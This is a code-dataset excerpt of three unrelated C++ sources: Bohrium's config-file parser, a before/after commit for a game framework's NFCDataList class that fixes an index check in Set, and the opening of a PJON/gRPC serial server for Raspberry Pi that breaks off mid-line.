<http:\/\/www.bh107.org>.\n\nBohrium is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as\npublished by the Free Software Foundation, either version 3\nof the License, or (at your option) any later version.\n\nBohrium is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the\nGNU Lesser General Public License along with Bohrium.\n\nIf not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <string>\n#include <algorithm>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/property_tree\/ini_parser.hpp>\n#include <boost\/property_tree\/exceptions.hpp>\n#include <boost\/algorithm\/string.hpp>\n#include <cstdlib>\n\n#include <bh_config_parser.hpp>\n\n#ifdef _WIN32\n\n#include <windows.h>\n#include <dlfcn-win32.h>\n\n#define HOME_INI_PATH \"%APPDATA%\\\\bohrium\\\\config.ini\"\n#define SYSTEM_INI_PATH_1 \"%PROGRAMFILES%\\\\bohrium\\\\config.ini\"\n#define SYSTEM_INI_PATH_2 \"%PROGRAMFILES%\\\\bohrium\\\\config.ini\"\n\n\/\/Nasty function renaming\n#define snprintf _snprintf\n#define strcasecmp _stricmp\n\n#else\n\n#include <dlfcn.h>\n#include <limits.h>\n\n#define HOME_INI_PATH \"~\/.bohrium\/config.ini\"\n#define SYSTEM_INI_PATH_1 \"\/usr\/local\/etc\/bohrium\/config.ini\"\n#define SYSTEM_INI_PATH_2 \"\/usr\/etc\/bohrium\/config.ini\"\n\n#endif\n\nusing namespace std;\nusing namespace boost;\n\nnamespace bohrium {\n\nnamespace {\n\/\/ Path to the config file e.g. ~\/.bohrium\/config.ini\nstring get_config_path() {\n\n const char* homepath = HOME_INI_PATH;\n const char* syspath1 = SYSTEM_INI_PATH_1;\n const char* syspath2 = SYSTEM_INI_PATH_2;\n\n \/\/\n \/\/ Find the configuration file\n \/\/\n\n \/\/ Start by looking a path set via environment variable.\n const char *env = getenv(\"BH_CONFIG\");\n if (env != NULL)\n {\n FILE *fp = fopen(env,\"r\");\n if( fp )\n fclose(fp);\n else\n env = NULL;\/\/Did not exist.\n }\n\n \/\/ Then the home directory.\n if(env == NULL)\n {\n#if _WIN32\n char _expand_buffer[MAX_PATH];\n DWORD result = ExpandEnvironmentStrings(\n homepath,\n _expand_buffer,\n MAX_PATH-1\n );\n\n if (result != 0)\n {\n homepath = _expand_buffer;\n }\n#else\n char* h = getenv(\"HOME\");\n if (h != NULL)\n {\n char _expand_buffer[PATH_MAX];\n snprintf(_expand_buffer, PATH_MAX, \"%s\/%s\", h, homepath+1);\n homepath = _expand_buffer;\n }\n#endif\n FILE *fp = fopen(homepath,\"r\");\n if( fp ) {\n env = homepath;\n fclose(fp);\n }\n }\n\n \/\/And then system-wide.\n if(env == NULL)\n {\n#if _WIN32\n char _expand_buffer[MAX_PATH];\n DWORD result = ExpandEnvironmentStrings(\n syspath1,\n _expand_buffer,\n MAX_PATH-1\n );\n\n if(result != 0)\n {\n syspath1 = _expand_buffer;\n }\n#endif\n FILE *fp = fopen(syspath1,\"r\");\n if(fp)\n {\n env = syspath1;\n fclose(fp);\n }\n }\n\n \/\/And then system-wide.\n if(env == NULL)\n {\n#if _WIN32\n char _expand_buffer[MAX_PATH];\n DWORD result = ExpandEnvironmentStrings(\n syspath2,\n _expand_buffer,\n MAX_PATH-1\n );\n\n if(result != 0)\n {\n syspath2 = _expand_buffer;\n }\n#endif\n FILE *fp = fopen(syspath2,\"r\");\n if(fp)\n {\n env = syspath2;\n fclose(fp);\n }\n }\n \/\/ We could not find the configuration file anywhere\n if(env == NULL)\n {\n fprintf(stderr, \"Error: Bohrium could not find the config file.\\n\"\n \" The search is:\\n\"\n \"\\t* The environment variable BH_CONFIG.\\n\"\n \"\\t* The home directory \\\"%s\\\".\\n\"\n \"\\t* The local directory \\\"%s\\\".\\n\"\n \"\\t* And system-wide \\\"%s\\\".\\n\", homepath, syspath1, syspath2);\n throw invalid_argument(\"No config file\");\n }\n return string(env);\n}\n\n\/\/ Return section\/option as an environment variable\n\/\/ or the empty string if the environment variable wasn't found\nstring lookup_env(const string §ion, const string &option) {\n string s = \"BH_\" + section + \"_\" + option;\n to_upper(s);\n std::replace(s.begin(), s.end(), '-', '_'); \/\/ replace all '-' to '_'\n std::replace(s.begin(), s.end(), ' ', '_'); \/\/ replace all ' ' to '_'\n const char *env = getenv(s.c_str());\n\n if (env == NULL) {\n return string();\n } else {\n return string(env);\n }\n}\n\n}\/\/ namespace unnamed\n\nstring ConfigParser::lookup(const string §ion, const string &option) const {\n \/\/Check environment variable\n string ret = lookup_env(section, option);\n if (not ret.empty())\n return ret;\n\n \/\/Check config file\n ret = _config.get<string>(section + \".\" + option);\n\n \/\/Remove quotes \"\" or '' and return\n if (ret.find_first_of(\"\\\"'\") == 0 and ret.find_last_of(\"\\\"'\") == ret.size()-1) {\n return ret.substr(1, ret.size()-2);\n } else {\n return ret;\n }\n}\n\nConfigParser::ConfigParser(int stack_level) : file_path(get_config_path()),\n stack_level(stack_level) {\n\n \/\/ Load the bohrium configuration file\n property_tree::ini_parser::read_ini(file_path, _config);\n\n \/\/ Find the stack name specified by 'BH_STACK'\n const char *env = getenv(\"BH_STACK\");\n string stack_name;\n if (env == NULL){\n stack_name = \"default\";\n } else {\n stack_name = env;\n }\n \/\/ Read stack, which is a comma separated list of component names,\n \/\/ into a vector of component names.\n _stack_list = getList(\"stacks\", stack_name);\n if (stack_level >= static_cast<int>(_stack_list.size()) or stack_level < -1) {\n throw ConfigError(\"ConfigParser: stack level is out of bound\");\n }\n if (stack_level == -1) {\n _default_section = \"bridge\";\n } else {\n _default_section = _stack_list[stack_level];\n }\n}\n\nvector<string> ConfigParser::getList(const std::string §ion,\n const std::string &option) const {\n vector<string> ret;\n string s = get<string>(section, option);\n algorithm::split(ret, s, is_any_of(\"\\t, \"), token_compress_on);\n return ret;\n}\n\nstring ConfigParser::getChildLibraryPath() const\n{\n \/\/ Do we have a child?\n if (static_cast<int>(_stack_list.size()) <= stack_level+1) {\n throw ConfigNoChild(\"ConfigParser: \" + getName() + \" has no child!\");\n }\n \/\/ Our child is our stack level plus one\n string child_name = _stack_list[stack_level+1];\n return get<string>(child_name, \"impl\");\n}\n\n} \/\/namespace bohrium\n<|endoftext|>"} {"text":"<commit_before>\/\/ -------------------------------------------------------------------------\r\n\/\/ @FileName : NFCDataList.h\r\n\/\/ @Author : LvSheng.Huang\r\n\/\/ @Date : 2012-03-01\r\n\/\/ @Module : NFCDataList\r\n\/\/\r\n\/\/ -------------------------------------------------------------------------\r\n\r\n#include <cstdarg>\r\n#include \"NFCDataList.h\"\r\n#include \"NFIDataList.h\"\r\n\r\nNFCDataList::NFCDataList()\r\n: NFIDataList()\r\n{\r\n}\r\n\r\nNFCDataList::NFCDataList(const char* str, const char* strSplit)\r\n{\r\n Clear();\r\n\r\n Split(str, strSplit);\r\n}\r\n\r\nNFCDataList::NFCDataList(const NFCDataList& src)\r\n{\r\n Clear();\r\n\r\n InnerAppendEx(src, 0, src.GetCount());\r\n}\r\n\r\nNFCDataList::NFCDataList(const NFIDataList& src)\r\n{\r\n Clear();\r\n\r\n InnerAppendEx(src, 0, src.GetCount());\r\n}\r\n\r\nNFCDataList::~NFCDataList()\r\n{\r\n Clear();\r\n};\r\n\n\/*\r\nNFCDataList& NFCDataList::operator=(const NFCDataList& src)\r\n{\r\n Clear();\r\n InnerAppendEx(src, 0, src.GetCount());\r\n\r\n return *this;\r\n}\r\n\r\nNFCDataList& NFCDataList::operator=(const NFIDataList& src)\r\n{\r\n Clear();\r\n InnerAppendEx(src, 0, src.GetCount());\r\n\r\n return *this;\r\n}\r\n\n*\/\r\n\/\/ \r\nbool NFCDataList::Append(const NFIDataList& src, const int start, const int count)\r\n{\r\n if (start >= src.GetCount())\r\n {\r\n return false;\r\n }\r\n\r\n int end = start + count;\r\n\r\n if (end > src.GetCount())\r\n {\r\n return false;\r\n }\r\n\r\n InnerAppendEx(src, start, end);\r\n\r\n return true;\r\n}\r\n\r\nbool NFCDataList::Append(const NFIDataList::TData& TData)\r\n{\r\n if (TData.nType <= TDATA_UNKNOWN\r\n || TData.nType >= TDATA_MAX)\r\n {\r\n return false;\r\n }\r\n\r\n\tswitch (TData.nType)\r\n\t{\r\n\tcase TDATA_INT:\r\n\tcase TDATA_FLOAT:\r\n\tcase TDATA_DOUBLE:\r\n\tcase TDATA_OBJECT:\r\n\t\t{\r\n\t\t\tAddValue(TData.nType, TData.variantData);\r\n\t\t}\r\n\t\tbreak;\r\n\tcase TDATA_STRING:\r\n\t\t{\r\n\t\t\tconst std::string& strData = boost::get<std::string>(TData.variantData);\r\n\t\t\tAddString(strData);\r\n\t\t}\r\n\t\tbreak;\r\n\tdefault:\r\n\t\tbreak;\r\n\t}\r\n\r\n\r\n return false;\r\n}\r\n\r\nbool NFCDataList::Append( const NFIDataList& src )\r\n{\r\n\treturn Append(src, 0, src.GetCount());\r\n}\r\n\r\nbool NFCDataList::Add(const NFINT64 value)\r\n{\r\n return NFIDataList::AddValue<NFINT64>(TDATA_INT, value);\r\n}\r\n\r\nbool NFCDataList::Add(const float value)\r\n{\r\n return AddValue<float>(TDATA_FLOAT, value);\r\n}\r\n\r\nbool NFCDataList::Add(const double value)\r\n{\r\n return AddValue<double>(TDATA_DOUBLE, value);\r\n}\r\n\r\nbool NFCDataList::Add(const char* value)\r\n{\r\n return AddValue<std::string>(TDATA_STRING, std::string(value));\r\n}\n\r\nbool NFCDataList::Add(const std::string& value)\r\n{\r\n return AddValue<std::string>(TDATA_STRING, value);\r\n}\n\r\nbool NFCDataList::Add(const NFIDENTID& value)\r\n{\r\n return AddValue<NFIDENTID>(TDATA_OBJECT, value);\r\n}\r\n\r\nbool NFCDataList::Add(const void* value)\r\n{\r\n \/\/return AddNumber<const void*>(TDATA_POINTER, value);\r\n return true;\r\n}\r\n\r\nbool NFCDataList::Set(const int index, const NFINT64 value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return SetValue(index, value);\r\n }\r\n\r\n return false;\r\n}\r\nbool NFCDataList::Set(const int index, const float value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return SetValue(index, value);\r\n }\r\n\r\n return false;\r\n}\r\nbool NFCDataList::Set(const int index, const double value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return SetValue(index, value);\r\n }\r\n\r\n return false;\r\n}\r\nbool NFCDataList::Set(const int index, const char* value)\r\n{\r\n if (index < GetCount() && index > 0)\r\n {\r\n\t\treturn SetString(index, value);\r\n }\r\n\r\n return false;\r\n}\r\n\r\nbool NFCDataList::Set(const int index, const NFIDENTID& value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return SetValue<NFIDENTID>(index, value);\r\n }\r\n\r\n return false;\r\n}\r\n\r\nbool NFCDataList::Set(const int index, const void* value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n \/\/return SetNumber(index, value);\r\n }\r\n\r\n return false;\r\n}\r\n\r\nNFINT64 NFCDataList::Int(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return NumberVal<NFINT64>(index);\r\n }\r\n\r\n return 0;\r\n}\r\n\r\nfloat NFCDataList::Float(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return NumberVal<float>(index);\r\n }\r\n\r\n return 0.0f;\r\n}\r\n\r\n\r\ndouble NFCDataList::Double(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return NumberVal<double>(index);\r\n }\r\n\r\n return 0.0f;\r\n}\r\n\r\nconst std::string& NFCDataList::String(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n const NF_SHARE_PTR<TData> var = mvList[index];\r\n if (var && TDATA_STRING == var->nType)\r\n {\r\n return boost::get<const std::string&>(var->variantData);\r\n }\r\n }\r\n\r\n return NULL_STR;\r\n}\r\n\r\nNFIDENTID NFCDataList::Object(const int index) const\r\n{\n\/\/ if (index < GetCount() && index >= 0)\r\n\/\/ {\r\n\/\/ return NumberVal<NFIDENTID>(index);\r\n\/\/ }\n\n if (index < GetCount() && index >= 0)\n {\n NFIDENTID result;\n if (index < GetCount() && index >= 0)\n {\n TDATA_TYPE type = Type(index);\n if (type == TDATA_OBJECT)\n {\n NF_SHARE_PTR<TData> var = GetStack(index);\n result = boost::get<NFIDENTID>(var->variantData);\n }\n }\n\n return result;\n }\n\n return NFIDENTID();\r\n}\r\n\r\nvoid* NFCDataList::Pointer(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return NumberVal<void*>(index);\r\n }\r\n\r\n return NULL;\r\n}\r\n\r\nbool NFCDataList::Split(const char* str, const char* strSplit)\r\n{\r\n\tClear();\r\n\r\n std::string strData(str);\r\n if (strData.empty())\r\n {\r\n return true;\r\n }\r\n\r\n std::string temstrSplit(strSplit);\r\n std::string::size_type pos;\r\n strData += temstrSplit;\r\n std::string::size_type size = strData.length();\r\n\r\n for (std::string::size_type i = 0; i < size; i++)\r\n {\r\n pos = int(strData.find(temstrSplit, i));\r\n if (pos < size)\r\n {\r\n std::string strSub = strData.substr(i, pos - i);\r\n Add(strSub.c_str());\r\n\r\n i = pos + temstrSplit.size() - 1;\r\n }\r\n }\r\n\r\n return true;\r\n}\r\n\r\nTDATA_TYPE NFCDataList::Type(const int index) const\r\n{\r\n if (index >= GetCount() || index < 0)\r\n {\r\n return TDATA_UNKNOWN;\r\n }\r\n\r\n if (index < STACK_SIZE)\r\n {\r\n return mvList[index]->nType;\r\n }\r\n else\r\n {\r\n const NF_SHARE_PTR<TData> pData = GetStack(index);\r\n if (pData)\r\n {\r\n return pData->nType;\r\n }\r\n }\r\n\r\n return TDATA_UNKNOWN;\r\n}\r\n\r\nbool NFCDataList::TypeEx(const int nType, ...) const\r\n{\r\n bool bRet = true;\r\n\r\n if (TDATA_UNKNOWN == nType)\r\n {\r\n bRet = false;\r\n return bRet;\r\n }\r\n\r\n TDATA_TYPE pareType = (TDATA_TYPE)nType;\r\n va_list arg_ptr;\r\n va_start(arg_ptr, nType);\r\n int index = 0;\r\n\r\n while (pareType != TDATA_UNKNOWN)\r\n {\r\n \/\/Ƚ\r\n TDATA_TYPE varType = Type(index);\r\n if (varType != pareType)\r\n {\r\n bRet = false;\r\n break;\r\n }\r\n\r\n ++index;\r\n pareType = (TDATA_TYPE)va_arg(arg_ptr, int); \/\/ȡһ\r\n }\r\n\r\n va_end(arg_ptr); \/\/\r\n\r\n return bRet;\r\n}\r\n\r\nbool NFCDataList::Concat(const NFIDataList& src)\r\n{\r\n InnerAppendEx(src, 0, src.GetCount());\r\n return true;\r\n}\r\n\r\nvoid NFCDataList::Clear()\r\n{\r\n\tmnUseSize = 0;\r\n \/\/mnCapacity = STACK_SIZE;\r\n\t\/\/8Ժ\r\n\tif (mvList.size() > STACK_SIZE)\r\n\t{\r\n\t\tfor (int i = 0; i < STACK_SIZE; ++i)\r\n\t\t{\r\n\t\t\tmvList[i]->nType = TDATA_UNKNOWN;\r\n\t\t}\r\n\r\n\t\tmvList.erase(mvList.begin() + 8, mvList.end());\r\n\t}\r\n}\r\n\r\nbool NFCDataList::IsEmpty() const\r\n{\r\n return (0 == mnUseSize);\r\n}\r\n\r\nint NFCDataList::GetCount() const\r\n{\r\n return mnUseSize;\r\n}\r\n\r\nvoid NFCDataList::InnerAppendEx(const NFIDataList& src, const int start, const int end)\r\n{\r\n for (int i = start; i < end; ++i)\r\n {\r\n TDATA_TYPE vType = src.Type(i);\r\n switch (vType)\r\n {\r\n case TDATA_INT:\r\n AddValue<NFINT64>(vType, src.Int(i));\r\n break;\r\n case TDATA_FLOAT:\r\n AddValue<float>(vType, src.Float(i));\r\n break;\r\n case TDATA_DOUBLE:\r\n AddValue<double>(vType, src.Double(i));\r\n break;\r\n case TDATA_STRING:\r\n AddString(src.String(i).c_str());\r\n break;\r\n case TDATA_OBJECT:\r\n AddValue<NFIDENTID>(vType, src.Object(i));\r\n break;\r\n \/\/case TDATA_POINTER:\r\n \/\/ AddNumber<void*>(vType, src.NumberVal<void*>(i));\r\n \/\/ break;\r\n default:\r\n \/\/Assert(0);\r\n break;\r\n }\r\n }\r\n}\r\n\r\nstd::string NFCDataList::StringValEx(const int index, const bool bForce) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n TDATA_TYPE type = Type(index);\r\n if (type == TDATA_STRING)\r\n {\r\n return String(index);\r\n }\r\n\r\n\/\/ const NF_SHARE_PTR<NFIDataList::TData> var = GetStack(index);\r\n\/\/ if (var)\r\n\/\/ {\r\n\/\/ \/\/return boost::lexical_cast<std::string>(var->variantData);\r\n\/\/ }\r\n }\r\n\r\n return NULL_STR;\r\n}\r\n\r\nbool NFCDataList::ToString(std::string& str, const char* strSplit) const\r\n{\r\n for (int i = 0; i < GetCount(); ++i)\r\n {\r\n std::string strVal = StringValEx(i, true);\r\n str += strVal;\r\n str += strSplit;\r\n }\r\n\r\n std::string strTempSplit(strSplit);\r\n std::string::size_type nPos = str.rfind(strSplit);\r\n if (nPos == str.length() - strTempSplit.length())\r\n {\r\n str = str.substr(0, nPos);\r\n }\r\n\r\n return true;\r\n}\n<commit_msg>fixed bug for set data<commit_after>\/\/ -------------------------------------------------------------------------\r\n\/\/ @FileName : NFCDataList.h\r\n\/\/ @Author : LvSheng.Huang\r\n\/\/ @Date : 2012-03-01\r\n\/\/ @Module : NFCDataList\r\n\/\/\r\n\/\/ -------------------------------------------------------------------------\r\n\r\n#include <cstdarg>\r\n#include \"NFCDataList.h\"\r\n#include \"NFIDataList.h\"\r\n\r\nNFCDataList::NFCDataList()\r\n: NFIDataList()\r\n{\r\n}\r\n\r\nNFCDataList::NFCDataList(const char* str, const char* strSplit)\r\n{\r\n Clear();\r\n\r\n Split(str, strSplit);\r\n}\r\n\r\nNFCDataList::NFCDataList(const NFCDataList& src)\r\n{\r\n Clear();\r\n\r\n InnerAppendEx(src, 0, src.GetCount());\r\n}\r\n\r\nNFCDataList::NFCDataList(const NFIDataList& src)\r\n{\r\n Clear();\r\n\r\n InnerAppendEx(src, 0, src.GetCount());\r\n}\r\n\r\nNFCDataList::~NFCDataList()\r\n{\r\n Clear();\r\n};\r\n\n\/*\r\nNFCDataList& NFCDataList::operator=(const NFCDataList& src)\r\n{\r\n Clear();\r\n InnerAppendEx(src, 0, src.GetCount());\r\n\r\n return *this;\r\n}\r\n\r\nNFCDataList& NFCDataList::operator=(const NFIDataList& src)\r\n{\r\n Clear();\r\n InnerAppendEx(src, 0, src.GetCount());\r\n\r\n return *this;\r\n}\r\n\n*\/\r\n\/\/ \r\nbool NFCDataList::Append(const NFIDataList& src, const int start, const int count)\r\n{\r\n if (start >= src.GetCount())\r\n {\r\n return false;\r\n }\r\n\r\n int end = start + count;\r\n\r\n if (end > src.GetCount())\r\n {\r\n return false;\r\n }\r\n\r\n InnerAppendEx(src, start, end);\r\n\r\n return true;\r\n}\r\n\r\nbool NFCDataList::Append(const NFIDataList::TData& TData)\r\n{\r\n if (TData.nType <= TDATA_UNKNOWN\r\n || TData.nType >= TDATA_MAX)\r\n {\r\n return false;\r\n }\r\n\r\n\tswitch (TData.nType)\r\n\t{\r\n\tcase TDATA_INT:\r\n\tcase TDATA_FLOAT:\r\n\tcase TDATA_DOUBLE:\r\n\tcase TDATA_OBJECT:\r\n\t\t{\r\n\t\t\tAddValue(TData.nType, TData.variantData);\r\n\t\t}\r\n\t\tbreak;\r\n\tcase TDATA_STRING:\r\n\t\t{\r\n\t\t\tconst std::string& strData = boost::get<std::string>(TData.variantData);\r\n\t\t\tAddString(strData);\r\n\t\t}\r\n\t\tbreak;\r\n\tdefault:\r\n\t\tbreak;\r\n\t}\r\n\r\n\r\n return false;\r\n}\r\n\r\nbool NFCDataList::Append( const NFIDataList& src )\r\n{\r\n\treturn Append(src, 0, src.GetCount());\r\n}\r\n\r\nbool NFCDataList::Add(const NFINT64 value)\r\n{\r\n return NFIDataList::AddValue<NFINT64>(TDATA_INT, value);\r\n}\r\n\r\nbool NFCDataList::Add(const float value)\r\n{\r\n return AddValue<float>(TDATA_FLOAT, value);\r\n}\r\n\r\nbool NFCDataList::Add(const double value)\r\n{\r\n return AddValue<double>(TDATA_DOUBLE, value);\r\n}\r\n\r\nbool NFCDataList::Add(const char* value)\r\n{\r\n return AddValue<std::string>(TDATA_STRING, std::string(value));\r\n}\n\r\nbool NFCDataList::Add(const std::string& value)\r\n{\r\n return AddValue<std::string>(TDATA_STRING, value);\r\n}\n\r\nbool NFCDataList::Add(const NFIDENTID& value)\r\n{\r\n return AddValue<NFIDENTID>(TDATA_OBJECT, value);\r\n}\r\n\r\nbool NFCDataList::Add(const void* value)\r\n{\r\n \/\/return AddNumber<const void*>(TDATA_POINTER, value);\r\n return true;\r\n}\r\n\r\nbool NFCDataList::Set(const int index, const NFINT64 value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return SetValue(index, value);\r\n }\r\n\r\n return false;\r\n}\r\nbool NFCDataList::Set(const int index, const float value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return SetValue(index, value);\r\n }\r\n\r\n return false;\r\n}\r\nbool NFCDataList::Set(const int index, const double value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return SetValue(index, value);\r\n }\r\n\r\n return false;\r\n}\r\nbool NFCDataList::Set(const int index, const char* value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n\t\treturn SetString(index, value);\r\n }\r\n\r\n return false;\r\n}\r\n\r\nbool NFCDataList::Set(const int index, const NFIDENTID& value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return SetValue<NFIDENTID>(index, value);\r\n }\r\n\r\n return false;\r\n}\r\n\r\nbool NFCDataList::Set(const int index, const void* value)\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n \/\/return SetNumber(index, value);\r\n }\r\n\r\n return false;\r\n}\r\n\r\nNFINT64 NFCDataList::Int(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return NumberVal<NFINT64>(index);\r\n }\r\n\r\n return 0;\r\n}\r\n\r\nfloat NFCDataList::Float(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return NumberVal<float>(index);\r\n }\r\n\r\n return 0.0f;\r\n}\r\n\r\n\r\ndouble NFCDataList::Double(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return NumberVal<double>(index);\r\n }\r\n\r\n return 0.0f;\r\n}\r\n\r\nconst std::string& NFCDataList::String(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n const NF_SHARE_PTR<TData> var = mvList[index];\r\n if (var && TDATA_STRING == var->nType)\r\n {\r\n return boost::get<const std::string&>(var->variantData);\r\n }\r\n }\r\n\r\n return NULL_STR;\r\n}\r\n\r\nNFIDENTID NFCDataList::Object(const int index) const\r\n{\n\/\/ if (index < GetCount() && index >= 0)\r\n\/\/ {\r\n\/\/ return NumberVal<NFIDENTID>(index);\r\n\/\/ }\n\n if (index < GetCount() && index >= 0)\n {\n NFIDENTID result;\n if (index < GetCount() && index >= 0)\n {\n TDATA_TYPE type = Type(index);\n if (type == TDATA_OBJECT)\n {\n NF_SHARE_PTR<TData> var = GetStack(index);\n result = boost::get<NFIDENTID>(var->variantData);\n }\n }\n\n return result;\n }\n\n return NFIDENTID();\r\n}\r\n\r\nvoid* NFCDataList::Pointer(const int index) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n return NumberVal<void*>(index);\r\n }\r\n\r\n return NULL;\r\n}\r\n\r\nbool NFCDataList::Split(const char* str, const char* strSplit)\r\n{\r\n\tClear();\r\n\r\n std::string strData(str);\r\n if (strData.empty())\r\n {\r\n return true;\r\n }\r\n\r\n std::string temstrSplit(strSplit);\r\n std::string::size_type pos;\r\n strData += temstrSplit;\r\n std::string::size_type size = strData.length();\r\n\r\n for (std::string::size_type i = 0; i < size; i++)\r\n {\r\n pos = int(strData.find(temstrSplit, i));\r\n if (pos < size)\r\n {\r\n std::string strSub = strData.substr(i, pos - i);\r\n Add(strSub.c_str());\r\n\r\n i = pos + temstrSplit.size() - 1;\r\n }\r\n }\r\n\r\n return true;\r\n}\r\n\r\nTDATA_TYPE NFCDataList::Type(const int index) const\r\n{\r\n if (index >= GetCount() || index < 0)\r\n {\r\n return TDATA_UNKNOWN;\r\n }\r\n\r\n if (index < STACK_SIZE)\r\n {\r\n return mvList[index]->nType;\r\n }\r\n else\r\n {\r\n const NF_SHARE_PTR<TData> pData = GetStack(index);\r\n if (pData)\r\n {\r\n return pData->nType;\r\n }\r\n }\r\n\r\n return TDATA_UNKNOWN;\r\n}\r\n\r\nbool NFCDataList::TypeEx(const int nType, ...) const\r\n{\r\n bool bRet = true;\r\n\r\n if (TDATA_UNKNOWN == nType)\r\n {\r\n bRet = false;\r\n return bRet;\r\n }\r\n\r\n TDATA_TYPE pareType = (TDATA_TYPE)nType;\r\n va_list arg_ptr;\r\n va_start(arg_ptr, nType);\r\n int index = 0;\r\n\r\n while (pareType != TDATA_UNKNOWN)\r\n {\r\n \/\/Ƚ\r\n TDATA_TYPE varType = Type(index);\r\n if (varType != pareType)\r\n {\r\n bRet = false;\r\n break;\r\n }\r\n\r\n ++index;\r\n pareType = (TDATA_TYPE)va_arg(arg_ptr, int); \/\/ȡһ\r\n }\r\n\r\n va_end(arg_ptr); \/\/\r\n\r\n return bRet;\r\n}\r\n\r\nbool NFCDataList::Concat(const NFIDataList& src)\r\n{\r\n InnerAppendEx(src, 0, src.GetCount());\r\n return true;\r\n}\r\n\r\nvoid NFCDataList::Clear()\r\n{\r\n\tmnUseSize = 0;\r\n \/\/mnCapacity = STACK_SIZE;\r\n\t\/\/8Ժ\r\n\tif (mvList.size() > STACK_SIZE)\r\n\t{\r\n\t\tfor (int i = 0; i < STACK_SIZE; ++i)\r\n\t\t{\r\n\t\t\tmvList[i]->nType = TDATA_UNKNOWN;\r\n\t\t}\r\n\r\n\t\tmvList.erase(mvList.begin() + 8, mvList.end());\r\n\t}\r\n}\r\n\r\nbool NFCDataList::IsEmpty() const\r\n{\r\n return (0 == mnUseSize);\r\n}\r\n\r\nint NFCDataList::GetCount() const\r\n{\r\n return mnUseSize;\r\n}\r\n\r\nvoid NFCDataList::InnerAppendEx(const NFIDataList& src, const int start, const int end)\r\n{\r\n for (int i = start; i < end; ++i)\r\n {\r\n TDATA_TYPE vType = src.Type(i);\r\n switch (vType)\r\n {\r\n case TDATA_INT:\r\n AddValue<NFINT64>(vType, src.Int(i));\r\n break;\r\n case TDATA_FLOAT:\r\n AddValue<float>(vType, src.Float(i));\r\n break;\r\n case TDATA_DOUBLE:\r\n AddValue<double>(vType, src.Double(i));\r\n break;\r\n case TDATA_STRING:\r\n AddString(src.String(i).c_str());\r\n break;\r\n case TDATA_OBJECT:\r\n AddValue<NFIDENTID>(vType, src.Object(i));\r\n break;\r\n \/\/case TDATA_POINTER:\r\n \/\/ AddNumber<void*>(vType, src.NumberVal<void*>(i));\r\n \/\/ break;\r\n default:\r\n \/\/Assert(0);\r\n break;\r\n }\r\n }\r\n}\r\n\r\nstd::string NFCDataList::StringValEx(const int index, const bool bForce) const\r\n{\r\n if (index < GetCount() && index >= 0)\r\n {\r\n TDATA_TYPE type = Type(index);\r\n if (type == TDATA_STRING)\r\n {\r\n return String(index);\r\n }\r\n\r\n\/\/ const NF_SHARE_PTR<NFIDataList::TData> var = GetStack(index);\r\n\/\/ if (var)\r\n\/\/ {\r\n\/\/ \/\/return boost::lexical_cast<std::string>(var->variantData);\r\n\/\/ }\r\n }\r\n\r\n return NULL_STR;\r\n}\r\n\r\nbool NFCDataList::ToString(std::string& str, const char* strSplit) const\r\n{\r\n for (int i = 0; i < GetCount(); ++i)\r\n {\r\n std::string strVal = StringValEx(i, true);\r\n str += strVal;\r\n str += strSplit;\r\n }\r\n\r\n std::string strTempSplit(strSplit);\r\n std::string::size_type nPos = str.rfind(strSplit);\r\n if (nPos == str.length() - strTempSplit.length())\r\n {\r\n str = str.substr(0, nPos);\r\n }\r\n\r\n return true;\r\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Common libraries\n#include \"version.h\"\n#include <stdio.h>\n\/\/ PJON library\n#define TS_RESPONSE_TIME_OUT 35000\n#define PJON_INCLUDE_TS true \/\/ Include only ThroughSerial\n#ifndef RPI\n #define RPI true\n#endif\n#include \"PJON\/PJON.h\"\n#include <inttypes.h>\n#include <stdlib.h>\n#include <string.h>\n\/\/ RPI serial interface\n#include <wiringPi.h>\n#include <wiringSerial.h>\n\/\/ gRPC library\n#include <iostream>\n#include <memory>\n#include <grpc++\/grpc++.h>\n#include \"pjongrpc.grpc.pb.h\"\n\nusing grpc::Server;\nusing grpc::ServerBuilder;\nusing grpc::ServerContext;\nusing grpc::Status;\nusing pjongrpc::Arduino_Request;\nusing pjongrpc::Arduino_Reply;\nusing pjongrpc::Arduino;\n\n\/\/ TODO: Find the way to change in from command line\nPJON<ThroughSerial> bus(1);\n\nuint64_t rcvd_cnt = 0;\nstd::string response;\n\n\nstatic void receiver_function(\n uint8_t *payload,\n uint16_t length,\n const PJON_Packet_Info &packet_info){\n\n for (uint32_t i = 0; i != length; i++){\n response += payload[i];\n }\n\n rcvd_cnt += 1;\n std::cout << \"#RCV snd_id=\" << std::to_string(packet_info.sender_id)\n << \" snd_net=\";\n for (uint32_t i = 0; i < sizeof(packet_info.sender_bus_id); i++) {\n std::cout << 